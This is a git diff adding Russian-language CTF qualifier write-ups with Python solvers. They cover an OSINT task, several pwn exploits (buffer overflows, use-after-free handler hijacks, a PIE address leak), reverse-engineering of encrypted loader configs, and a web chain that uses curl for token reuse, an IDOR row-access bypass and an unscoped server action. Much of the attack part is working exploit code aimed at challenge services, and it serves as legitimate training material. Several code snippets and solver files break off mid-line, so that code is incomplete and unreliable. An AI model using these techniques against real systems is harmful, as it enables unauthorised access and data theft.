+ +По номеру контейнера переходим в [Seaco Container Details](https://seaweb.seacoglobal.com/sap/bc/ui5_ui5/sap/zseaco_ue17/index.html). Вводим `SEGU9696460` и открываем карточку контейнера. В ней находим номер допуска `TIR: GB/C 13362 BV/2016` — последнюю часть ответа. + +Собираем ответ, убирая пробелы внутри номеров и сохраняя разделители TIR: + +| Часть | Значение | +|---|---| +| Порт | `Muuga` | +| IMO судна | `9765873` | +| Контейнер | `SEGU9696460` | +| TIR | `TIR:GB/C13362BV/2016` | + +## Флаг + +`caplag{Muuga_9765873_SEGU9696460_TIR:GB/C13362BV/2016}` + +В [проверенных контейнерах](https://rus.err.ee/1609932371/informacija-o-narkotikah-ne-podtverdilas-sudno-baltic-spirit-pokinulo-jestoniju) были ящики с бананами из Эквадора, а наркотиков не нашли. У амёбы к грузу претензий нет. + ++
+
diff --git a/qualifiers/banani/assets/baltic-spirit.png b/qualifiers/banani/assets/baltic-spirit.png new file mode 100644 index 0000000..f580c52 Binary files /dev/null and b/qualifiers/banani/assets/baltic-spirit.png differ diff --git a/qualifiers/banani/assets/banana-amoeba.jpg b/qualifiers/banani/assets/banana-amoeba.jpg new file mode 100644 index 0000000..eebbdd4 Binary files /dev/null and b/qualifiers/banani/assets/banana-amoeba.jpg differ diff --git a/qualifiers/banani/assets/container.png b/qualifiers/banani/assets/container.png new file mode 100644 index 0000000..b2d845a Binary files /dev/null and b/qualifiers/banani/assets/container.png differ diff --git a/qualifiers/banani/assets/muuga-map.png b/qualifiers/banani/assets/muuga-map.png new file mode 100644 index 0000000..5f201e1 Binary files /dev/null and b/qualifiers/banani/assets/muuga-map.png differ diff --git a/qualifiers/banani/assets/port.png b/qualifiers/banani/assets/port.png new file mode 100644 index 0000000..c23be4f Binary files /dev/null and b/qualifiers/banani/assets/port.png differ diff --git a/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md b/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md new file mode 100644 index 0000000..ce4a9d4 --- /dev/null +++ b/qualifiers/biosignal-relay-pwn-hard/WRITEUP.md @@ -0,0 +1,56 @@ ++
BioSignal Relay
+ ++
+ +В раздатке есть ELF `biosignal-relay` с символами и без PIE. Сервис принимает CLP-файл, позволяет выбрать канал и запустить конвертацию. В бинаре есть обработчик `flag_channel`. Для получения флага нужно вызвать его при конвертации. + +## Решение + +При анализе ELF находим структуру загруженного файла. Таблица каналов лежит сразу за 64-байтным буфером заголовка: + +```c +struct channel { + uint32_t magic; + uint32_t approved; + uint64_t handler; + char name[32]; +}; // 48 байт + +struct labfile { + unsigned char header[64]; + struct channel ch[2]; +}; +``` + +При конвертации сервис проверяет `magic == 0x43484e31`, `approved == 0x42494f21` и разрешает только два обработчика: `audit_channel` и `flag_channel`. Подходящая функция уже есть в списке разрешённых, поэтому достаточно подставить её адрес. + +Смотрим загрузку. Основной заголовок копируется с ограничением, а вот дополнительный — по смещению `hlen`, которое приходит из самого файла: + +```c +memcpy(lab->header, buf, n < 64 ? n : 64); +size_t extra = n > 16 ? n - 16 : 0; +if (extra) memcpy(lab->header + hlen, buf + 16, extra); +``` + +Ставим `hlen = 64`, чтобы второй `memcpy` начал запись ровно с `ch[0]`. Если после первых 16 байт файла положить поддельный дескриптор, он займёт место настоящего канала. + +Адрес `flag_channel` берём из `readelf -sW public/biosignal-relay` и сохраняем числом в переменной `flag_channel`. PIE выключен, поэтому адрес из таблицы символов подходит напрямую. Первые шесть байт файла должны быть `ICLPCL`, следующие два — `hlen` в little-endian. До дополнительного заголовка оставляем восемь нулевых байт, а с позиции `16` размещаем поддельный канал. + +```python +import struct + +channel = struct.pack("+
+
= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31348); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/biosignal-relay"); p.add_argument("--flag",default="caplag{clp_header_extension_rewired_the_channel}"); args=p.parse_args() + target=symbol_value(args.binary,"flag_channel") + ch=struct.pack(" Chameleon Line + + +
+ +В раздатке есть .NET-установщик `ChameleonLine.dll` для удалённой поддержки цеховых ПК. В сборке находятся зашифрованный конфиг загрузчика и данные для его расшифровки. + +## Решение + +Открываем сборку в ILSpy или dnSpy и идём к коду загрузки конфига. В пользовательских строках находим три значения: + +| Строка | Что в ней лежит | +|---|---| +| `ResourceTag` | Маркер `CFGv2:` и base64 зашифрованного конфига | +| `KeyHex` | 32 hex-символа с префиксом `0011` — ключ AES-128 | +| `IvHex` | 32 hex-символа с префиксом `1021` — IV | + +Рядом находится AES-CBC-дешифратор, который использует эти строки как ключ, IV и зашифрованные данные. + +Строки .NET лежат в `#US` в UTF-16LE, поэтому для автоматизации достаточно извлечь их прямо из бинаря. Находим `CFGv2:`, отрезаем префикс, а ключ и IV читаем как hex-представления 16-байтных значений. + +Расшифровку можно поручить OpenSSL. Сохраняем base64-тело одной строкой в `config.b64`. В `-K` и `-iv` подставляем полные hex-строки, без префикса `0x`. + +```bash +openssl enc -d -aes-128-cbc -K+
+
-iv \ + -nosalt -A -base64 -in config.b64 +``` + +Получаем JSON-конфиг загрузчика. В поле `export` лежит флаг. Запуск самого установщика для этого не нужен, поскольку все данные уже были в DLL. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{aes_resource_config_guided_the_loader}` diff --git a/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py b/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py new file mode 100644 index 0000000..9bab918 --- /dev/null +++ b/qualifiers/chameleon-line-dotnet-reverse-easy/solve/solve.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('CommBridge + + +
+ +CommBridge работает как шлюз между SCADA-сервером и контроллерами. В нём авторизуемся, отправляем команду и подтверждаем её выполнение. В раздатке есть ELF `commbridge`. Для экспорта нужны два служебных поля, которые обычная команда не выставляет. + +## Решение + +В обработчике `auth` находим сравнение с постоянным токеном `operator`. Передаём его в пункте `1) auth` и переходим к приёму команды. Она декодируется в такую структуру на стеке: + +```c +struct frame { + char decoded[64]; + uint32_t access; + uint32_t cmd; +}; +``` + +Для экспорта нужны `access = 0x434d4447` и `cmd = 0x26050613`. Оба поля лежат сразу за `decoded`, так что смотрим, сколько данных туда можно записать. + +Сырая строка ограничена 120 символами. Но декодер понимает последовательность `@NNXX`: пять символов превращаются в `NN` копий байта `XX`, причём оба числа записаны в hex. Размер результата уже никто не проверяет. Получаем переполнение стека через расширение короткой команды. + +Заполняем 64 байта буфера одной последовательностью `@40aa`, а затем дописываем две нужные константы в little-endian: + +```python +import struct + +rights = struct.pack("+
+
= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def enc_byte(b): return f"@01{b:02x}".encode() +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31346); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/commbridge"); p.add_argument("--flag",default="caplag{escaped_scada_command_expanded_into_dispatch_rights}"); args=p.parse_args() + io=connect(args); choose(io,1); io.recvuntil(b"token:"); io.sendline(b"operator") + payload=b"@40aa"+b"".join(enc_byte(b) for b in struct.pack(" CopyCache Runner + + +
+ +Раннер сборки прошивок загружает шаблон политики подписи в кеш и проверяет его перед запуском задания. На диске шаблон менять нельзя, но для запуска важна именно копия в памяти. В ELF `copycache-runner` ищем, какие поля открывают экспорт и кто может их перезаписать. + +## Решение + +Смотрим расположение полей кешированной политики. + +| Смещение | Поле | Что нужно для запуска | +|---:|---|---| +| 0 | `name[16]` | На проверку не влияет | +| 16 | `flags` | `0x4558504f` | +| 20 | `job` | `0x26050613` | +| 24 | `checksum` | `flags ^ job ^ 0xa5a5a5a5` | + +После загрузки `job` уже правильный, а `flags` равен нулю. Поэтому прямой вызов `run sealed job` заканчивается `policy denied`. + +В меню есть операция `AEAD_COPY`. Она принимает смещение и 32-битное слово, проверяет только попадание записи внутрь всей структуры, после чего выполняет: + +```c +memcpy((char *)&cache + off, &word, 4); +``` + +Граница структуры соблюдается, но служебные поля внутри неё доступны для записи наравне с остальными данными. Для экспорта меняем разрешение и пересчитываем контрольную сумму. + +```python +flags = 0x4558504f +job = 0x26050613 +checksum = flags ^ job ^ 0xa5a5a5a5 +``` + +Через `3) AEAD_COPY` пишем `flags` по смещению `16`, затем `checksum` по смещению `24`. Если хочется проверить себя, `2) show cached policy` показывает новые значения. + +При выборе `4) run sealed job` сервис проверяет разрешение на экспорт, номер задания и контрольную сумму в кеше. Изменённая политика проходит проверки, и сервис выдаёт флаг. Файл шаблона на диске при этом остаётся прежним. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{copy_cache_changed_policy_without_touching_disk}` diff --git a/qualifiers/copycache-runner-pwn-hard/solve/solve.py b/qualifiers/copycache-runner-pwn-hard/solve/solve.py new file mode 100644 index 0000000..e97495a --- /dev/null +++ b/qualifiers/copycache-runner-pwn-hard/solve/solve.py @@ -0,0 +1,60 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def write_word(io, off, word): + choose(io,3); io.recvuntil(b"dst offset:"); io.sendline(str(off).encode()); io.recvuntil(b"word:"); io.sendline(hex(word).encode()) +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31349); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/copycache-runner"); p.add_argument("--flag",default="caplag{copy_cache_changed_policy_without_touching_disk}"); args=p.parse_args() + io=connect(args); flags=0x4558504f; job=0x26050613; checksum=flags^job^0xa5a5a5a5 + write_word(io,16,flags); write_word(io,24,checksum) + choose(io,4); data=io.recvuntil(b"}"); print(data[data.rfind(b"caplag{"):].decode()) +if __name__=="__main__": sys.exit(main()) diff --git a/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md b/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md new file mode 100644 index 0000000..c9eab16 --- /dev/null +++ b/qualifiers/cratewatch-native-rust-reverse-hard/WRITEUP.md @@ -0,0 +1,50 @@ ++
+
CrateWatch
+ ++
+ +В раздатке есть Rust-бинарь `cratewatch`, который сканирует рабочий каталог в поисках ключей. Нужно определить, куда программа отправляет найденные данные. Начинаем со строк и встроенных конфигов, затем проверяем их использование в коде. + +## Решение + +Смотрим секции ELF и строки: + +```bash +readelf -SW public/cratewatch +strings -a public/cratewatch +``` + +Находим нестандартную секцию `.cratewatch` и маркер `CRATEWATCHCFG`. В строках также виден `cratewatch-fastlog`, который код инициализации сканера связывает с конфигом. + +За маркером лежит простой контейнер: + +| Поле | Формат | +|---|---| +| Маркер | ASCII `CRATEWATCHCFG` | +| Длина | 4 байта, little-endian | +| Данные | JSON, замаскированный повторяющимся XOR-ключом | + +Ключом служит найденная строка `cratewatch-fastlog`. Читаем указанное число байт и снимаем XOR: + +```python +from pathlib import Path +import json + +data = Path("public/cratewatch").read_bytes() +start = data.index(b"CRATEWATCHCFG") + len(b"CRATEWATCHCFG") +size = int.from_bytes(data[start:start + 4], "little") +blob = data[start + 4:start + 4 + size] +key = b"cratewatch-fastlog" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +print(json.loads(plain)["flag"]) +``` + +Получаем читаемый JSON. Endpoint внутри — ложный след, а нужное значение хранится в поле `flag`. Объёмный Rust-код усложнял навигацию, но для решения хватило найти контейнер и его декодер. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{rust_trait_scanner_exposed_the_decoy_exfil}` diff --git a/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py b/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py new file mode 100644 index 0000000..6de2d83 --- /dev/null +++ b/qualifiers/cratewatch-native-rust-reverse-hard/solve/solve.py @@ -0,0 +1,20 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('FvncLite + ++
+
+
+ +В раздатке есть клиент курьерского терминала `FvncLiteCourier.apk`. Нужно найти скрытую команду экспорта аудита. Начинаем с содержимого APK, который можно распаковать как ZIP. + +## Решение + +В архиве интересуют два файла: + +| Файл | Зачем нужен | +|---|---| +| `classes.dex` | Код сервиса и строковый ключ | +| `assets/fvnc_table.bin` | Зашифрованная таблица команд | + +Открываем DEX в jadx, находим класс `OpsService` и метод `decode()`. Он побайтово XOR-ит таблицу повторяющимся ключом `fvnc-lite-v4`. Никаких дополнительных параметров устройства в расшифровке нет. + +Повторяем алгоритм отдельно: + +```python +import json +import zipfile + +with zipfile.ZipFile("public/FvncLiteCourier.apk") as apk: + blob = apk.read("assets/fvnc_table.bin") +key = b"fvnc-lite-v4" +plain = bytes(b ^ key[i % len(key)] for i, b in enumerate(blob)) +commands = json.loads(plain) +print(commands["audit.export"]) +``` + +Расшифрованный JSON описывает команды accessibility/ops-сервиса. Среди обычных операций находим `audit.export`, значение которой и есть флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{accessibility_command_table_recovered}` diff --git a/qualifiers/fvnclite-android-reverse-easy/solve/solve.py b/qualifiers/fvnclite-android-reverse-easy/solve/solve.py new file mode 100644 index 0000000..89037cc --- /dev/null +++ b/qualifiers/fvnclite-android-reverse-easy/solve/solve.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 +from pathlib import Path +import argparse, base64, hashlib, json, lzma, marshal, os, plistlib, re, struct, subprocess, sys, zipfile, zlib + +def xor(data, key): + return bytes(b ^ key[i % len(key)] for i, b in enumerate(data)) + +def find_after(data, marker): + off = data.index(marker) + len(marker) + ln = struct.unpack_from('GumboGate + ++
+
+
+ +На старте доступны сервис очистки HTML-накладных и бинарь `gumbogate`. Загружаем тег поставщика, затем запрашиваем отчёт. Сервис возвращает отчёт только после одобрения, а поле одобрения лежит сразу за массивом атрибутов. + +## Решение + +Смотрим структуру страницы в куче: + +```c +struct attr { char name[8]; char value[8]; }; +struct page { + struct attr attrs[8]; + uint32_t approved; + char report[64]; +}; +``` + +Для экспорта нужно `approved == 0x52505041`. В little-endian это четыре ASCII-байта `APPR`. + +Парсер выбирает корзину по длине имени: `bucket = strlen(name) & 7`. Затем берёт `slot = used[bucket]++` и пишет в `attrs[slot]`. Верхнюю границу счётчика не проверяют, поэтому девятый атрибут одной корзины попадает в несуществующий `attrs[8]`. + +Один атрибут занимает 16 байт, поэтому девятый начинается по смещению `8 × 16 = 128`, ровно на поле `approved`. Первые четыре байта его имени зададут значение этого поля. + +Все имена делаем длиной восемь символов, чтобы они попали в корзину `0`: + +```python +attrs = [f"A{i:07d}=x" for i in range(8)] +attrs.append("APPR0000=x") +tag = "<" + " ".join(attrs) + ">" +``` + +Восемь первых имён заполняют массив, `APPR0000` выходит за его границу и выставляет нужную константу. Отправляем тег в `1) ingest supplier tag`, затем выбираем `2) export cleaned report`. Проверка одобрения проходит, сервис отдаёт флаг. + +[Солвер](solve/solve.py). + +## Флаг + +`caplag{attribute_bucket_walked_past_the_sanitizer}` diff --git a/qualifiers/gumbogate-pwn-easy/solve/solve.py b/qualifiers/gumbogate-pwn-easy/solve/solve.py new file mode 100644 index 0000000..8b69db3 --- /dev/null +++ b/qualifiers/gumbogate-pwn-easy/solve/solve.py @@ -0,0 +1,71 @@ +#!/usr/bin/env python3 +import argparse +import os +import socket +import struct +import subprocess +import sys + +class Tube: + def __init__(self, sock=None, proc=None): + self.sock = sock + self.proc = proc + def recv(self, n=4096): + if self.sock: + return self.sock.recv(n) + return os.read(self.proc.stdout.fileno(), n) + def send(self, data): + if self.sock: + self.sock.sendall(data) + else: + os.write(self.proc.stdin.fileno(), data) + def sendline(self, data): + self.send(data + b"\n") + def recvuntil(self, marker): + out = b"" + while marker not in out: + chunk = self.recv(1) + if not chunk: + raise EOFError(out) + out += chunk + return out + +def symbol_value(binary, name): + out = subprocess.check_output(["readelf", "-sW", binary], text=True) + for line in out.splitlines(): + fields = line.split() + if len(fields) >= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +def main(): + p = argparse.ArgumentParser() + p.add_argument("--host", default="127.0.0.1") + p.add_argument("--port", type=int, default=31341) + p.add_argument("--local", action="store_true") + p.add_argument("--binary", default="../public/gumbogate") + p.add_argument("--flag", default="caplag{attribute_bucket_walked_past_the_sanitizer}") + args = p.parse_args() + io = connect(args) + names = [f"A{i:07d}".encode() for i in range(8)] + [b"APPR0000"] + tag = b"<" + b" ".join(n + b"=x" for n in names) + b">" + choose(io, 1) + io.recvuntil(b"tag:") + io.sendline(tag) + choose(io, 2) + data = io.recvuntil(b"}") + print(data[data.rfind(b"caplag{"):].decode()) +if __name__ == "__main__": + sys.exit(main()) diff --git a/qualifiers/heiftrack-pwn-medium/WRITEUP.md b/qualifiers/heiftrack-pwn-medium/WRITEUP.md new file mode 100644 index 0000000..bd071a1 --- /dev/null +++ b/qualifiers/heiftrack-pwn-medium/WRITEUP.md @@ -0,0 +1,47 @@ ++
+
HeifTrack
+ ++
+ +HeifTrack проверяет последовательности кадров с камер. Он загружает chunk, привязывает его к воспроизведению и сверяет таблицы. В ELF `heiftrack` обнаруживаем, что ошибочный chunk удаляется, но воспроизведение продолжает ссылаться на него. + +## Решение + +Chunk занимает 108 байт: + +```c +struct chunk { + uint32_t magic; + uint32_t frames; + char label[32]; + uint32_t approved; + char pad[64]; +}; +``` + +Экспорт проверяет два поля по указателю `playback`: `magic == 0x48454946` и `approved == 0x54524143`. У обычного загруженного объекта `approved` равен нулю. + +Сначала выбираем `1) load chunk`, затем `2) bind track`. Теперь и `chunk0`, и `playback` указывают на один объект. В `3) validate tables` вводим несовпадающие значения `1`, `2`, `3`. Валидация делает `free(chunk0)` и обнуляет `chunk0`, но про `playback` забывает. Получаем **use-after-free**. + +Остаётся занять освободившуюся память своими данными. Пункт `4) add metadata item` выделяет блок того же размера, 108 байт. Готовим поддельный chunk: + +```python +import struct + +payload = struct.pack("+
+
= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen([args.binary], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env) + return Tube(proc=proc) + return Tube(sock=socket.create_connection((args.host, args.port), timeout=5)) + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + +CHUNK_MAGIC=0x48454946; CHUNK_OK=0x54524143 +def main(): + p=argparse.ArgumentParser(); p.add_argument("--host",default="127.0.0.1"); p.add_argument("--port",type=int,default=31344); p.add_argument("--local",action="store_true"); p.add_argument("--binary",default="../public/heiftrack"); p.add_argument("--flag",default="caplag{conflicting_track_tables_kept_the_chunk_alive}"); args=p.parse_args() + io=connect(args); choose(io,1); choose(io,2); choose(io,3); io.sendline(b"1"); io.sendline(b"2"); io.sendline(b"3") + payload=struct.pack(" Launchlet + + +
+ +Launchlet — конструктор приложений с preview, панелью деплоя и API данных. На старте есть URL сервиса. В клиентских манифестах находятся токены, идентификаторы и описания трёх серверных операций с неполной проверкой прав. + +## Решение + +Открываем DevTools и смотрим, что загружает интерфейс: + +| Ресурс | Что узнаём | +|---|---| +| `/api/app/bootstrap` | Параметры preview и API данных | +| `/assets/build-manifest.json` | Токен получения build receipt | +| `/assets/mock-supabase-client.js` | Ключ API и гостевую сессию | +| `/assets/server-reference-manifest.json` | Идентификатор серверного действия | + +### Токен receipt + +В `build-manifest.json` находим проект `launchlet-demo-board`, `previewReceipt = lrec_preview_demo_2026` и адрес `/api/receipts/redeem`. Пробуем предъявить найденный токен: + +```bash +curl -sS http://+
+
:31380/api/receipts/redeem \ + -H 'Content-Type: application/json' \ + --data '{"receipt":"lrec_preview_demo_2026","project":"launchlet-demo-board"}' +``` + +Сервер принимает его как право прочитать receipt и возвращает первый флаг. Build pipeline оставил в публичном артефакте повторно используемый токен доступа. + +### Доступ к workspace + +Из bootstrap или клиентского JS берём `anonKey = ll_anon_mock_publishable` и сессию `preview_guest_session`. Интерфейс читает `workspace_notes` с фильтром `workspace_id=eq.ws-launchlet-public`. + +Проверяем, ограничивает ли сессия доступ к строкам. В имени workspace заменяем `public` на `internal`, сохраняя гостевой ключ и сессию: + +```bash +curl -sS 'http:// :31380/api/db/rest/v1/workspace_notes?select=workspace_id,title,body&workspace_id=eq.ws-launchlet-internal' \ + -H 'apikey: ll_anon_mock_publishable' \ + -H 'Authorization: Bearer preview_guest_session' +``` + +Получаем внутреннюю заметку со вторым флагом. API проверяет ключ и наличие preview-сессии, но выбирает доступные строки по переданному query-параметру. Workspace сессии с ним не сверяется. + +### Область серверного действия + +В `server-reference-manifest.json` открываем запись `serverActions.inspectDeploy`. Из неё берём идентификатор `act_6f4b9a2c1d0e8a71` и endpoint `/api/actions/invoke`. Манифест также описывает `intendedScope` — область действия. Проверяем, привязывает ли сервер переданные аргументы к этой области. + +Для вызова нужны оба идентификатора, `workspaceId` и `projectId`. Проверяем пару `ws-launchlet-internal` и `proj-enterprise-rollout`, сохраняя публичный проект в заголовке `X-Launchlet-Preview`. + +```bash +curl -sS http:// :31380/api/actions/invoke \ + -H 'Content-Type: application/json' \ + -H 'X-Launchlet-Preview: launchlet-demo-board' \ + --data '{ + "actionId":"act_6f4b9a2c1d0e8a71", + "args":{ + "workspaceId":"ws-launchlet-internal", + "projectId":"proj-enterprise-rollout" + } + }' +``` + +Dispatcher принимает чужие workspace и project с гостевым preview-контекстом и возвращает третий флаг. Проверка идентификатора действия есть, а привязки аргументов к разрешённой области нет. В этой ветке, как и при чтении заметок, параметры клиента позволяют выбрать чужие данные. + +[Солвер](solve/solve.py). + +## Все этапы + +| Этап | Флаг | +|---|---| +| 1 | `caplag{preview_manifest_kept_the_receipt}` | +| 2 | `caplag{anon_key_needs_real_rls}` | +| 3 | `caplag{server_actions_need_scope_checks}` | diff --git a/qualifiers/launchlet-web-medium/solve/solve.py b/qualifiers/launchlet-web-medium/solve/solve.py new file mode 100644 index 0000000..d406269 --- /dev/null +++ b/qualifiers/launchlet-web-medium/solve/solve.py @@ -0,0 +1,90 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import argparse +import json +from urllib import parse, request + + +def get_json(base: str, path: str, headers: dict[str, str] | None = None): + req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})}) + with request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read().decode()) + + +def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None): + body = json.dumps(payload).encode() + req = request.Request( + base + path, + data=body, + method="POST", + headers={ + "Accept": "application/json", + "Content-Type": "application/json", + **(headers or {}), + }, + ) + with request.urlopen(req, timeout=5) as resp: + return json.loads(resp.read().decode()) + + +def solve(base: str) -> list[str]: + base = base.rstrip("/") + + bootstrap = get_json(base, "/api/app/bootstrap") + build_manifest = get_json(base, bootstrap["api"]["buildManifest"]) + stage1 = post_json( + base, + build_manifest["receiptRedeemEndpoint"], + { + "receipt": build_manifest["previewReceipt"], + "project": build_manifest["project"], + }, + )["flag"] + + internal_query = parse.urlencode( + { + "select": "workspace_id,title,body", + "workspace_id": "eq.ws-launchlet-internal", + } + ) + notes = get_json( + base, + f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}", + headers={ + "apikey": bootstrap["client"]["anonKey"], + "Authorization": f"Bearer {bootstrap['client']['session']}", + }, + ) + stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body) + stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1] + + refs = get_json(base, bootstrap["api"]["serverReferences"]) + action = refs["serverActions"]["inspectDeploy"] + stage3 = post_json( + base, + action["endpoint"], + { + "actionId": action["id"], + "args": { + "workspaceId": "ws-launchlet-internal", + "projectId": "proj-enterprise-rollout", + }, + }, + headers={"X-Launchlet-Preview": build_manifest["project"]}, + )["flag"] + + return [stage1, stage2, stage3] + + +def main() -> None: + parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.") + parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380") + args = parser.parse_args() + + for flag in solve(args.url): + print(flag) + + +if __name__ == "__main__": + main() diff --git a/qualifiers/lease-mesh-pwn-medium/WRITEUP.md b/qualifiers/lease-mesh-pwn-medium/WRITEUP.md new file mode 100644 index 0000000..022c228 --- /dev/null +++ b/qualifiers/lease-mesh-pwn-medium/WRITEUP.md @@ -0,0 +1,52 @@ + LeaseMesh
+ ++
+ +LeaseMesh позволяет создавать, просматривать, закрывать и пересылать «аренды» маршрутов. В раздатке есть ELF `lease-mesh` с PIE и сохранёнными символами. Для получения флага нужно узнать адрес `flag_export` и подменить обработчик маршрута. + +## Решение + +У маршрута размер 144 байта. Для атаки важны следующие поля: + +| Смещение | Поле | Назначение | +|---:|---|---| +| 0 | `magic`, 8 байт | `0x4c454153454d4553` | +| 8 | `name[24]` | Имя маршрута | +| 32 | `generation`, 8 байт | Поколение объекта | +| 40 | `handler`, 8 байт | Указатель на обработчик | +| 48 | `approved`, 4 байта | Для экспорта нужно `0x51524f4b` | +| 52 | `memo_len`, 4 байта | Длина заметки | +| 56 | `memo[88]` | Сама заметка | + +Открываем маршрут в слоте `0` через `1) open route lease`, имя и заметка любые. В пункте `4) inspect route` выбираем слот `0`. Из `handler=%p` получаем адрес `route_status` в запущенном процессе и сохраняем его числом в `leaked_handler`. Через `readelf -sW public/lease-mesh` находим значения символов `route_status` и `flag_export`. Смещения относительно базы PIE обозначим `offset_route_status` и `offset_flag_export`. Вычитаем первое из утечки и прибавляем второе: + +```python +pie_base = leaked_handler - offset_route_status +target = pie_base + offset_flag_export +``` + +Теперь освобождаем маршрут через `2) close route lease`, указывая слот `0`. В `close_route` есть `free(routes[idx])`, но нет обнуления `routes[idx]`. Значит, слот продолжает ссылаться на освобождённую память. + +Пункт `3) import raw decoder packet` выделяет ровно `sizeof(struct route)` и заполняет блок переданными байтами. Собираем подделку: + +```python +import struct + +payload = struct.pack("+
+
= 8 and fields[-1] == name: + return int(fields[1], 16) + raise RuntimeError(f"symbol not found: {name}") + + +def connect(args): + if args.local: + env = os.environ.copy() + env["CTF_FLAG"] = args.flag + proc = subprocess.Popen( + [args.binary], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + env=env, + ) + return Tube(proc=proc) + sock = socket.create_connection((args.host, args.port), timeout=5) + return Tube(sock=sock) + + +def choose(io, value): + io.recvuntil(b">") + io.sendline(str(value).encode()) + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument("--host", default="127.0.0.1") + parser.add_argument("--port", type=int, default=31338) + parser.add_argument("--local", action="store_true") + parser.add_argument("--binary", default="../public/lease-mesh") + parser.add_argument("--flag", default="caplag{stale_handle_reclaimed_the_route}") + args = parser.parse_args() + + route_status = symbol_value(args.binary, "route_status") + flag_export = symbol_value(args.binary, "flag_export") + + io = connect(args) + + choose(io, 1) + io.recvuntil(b"slot:") + io.sendline(b"0") + 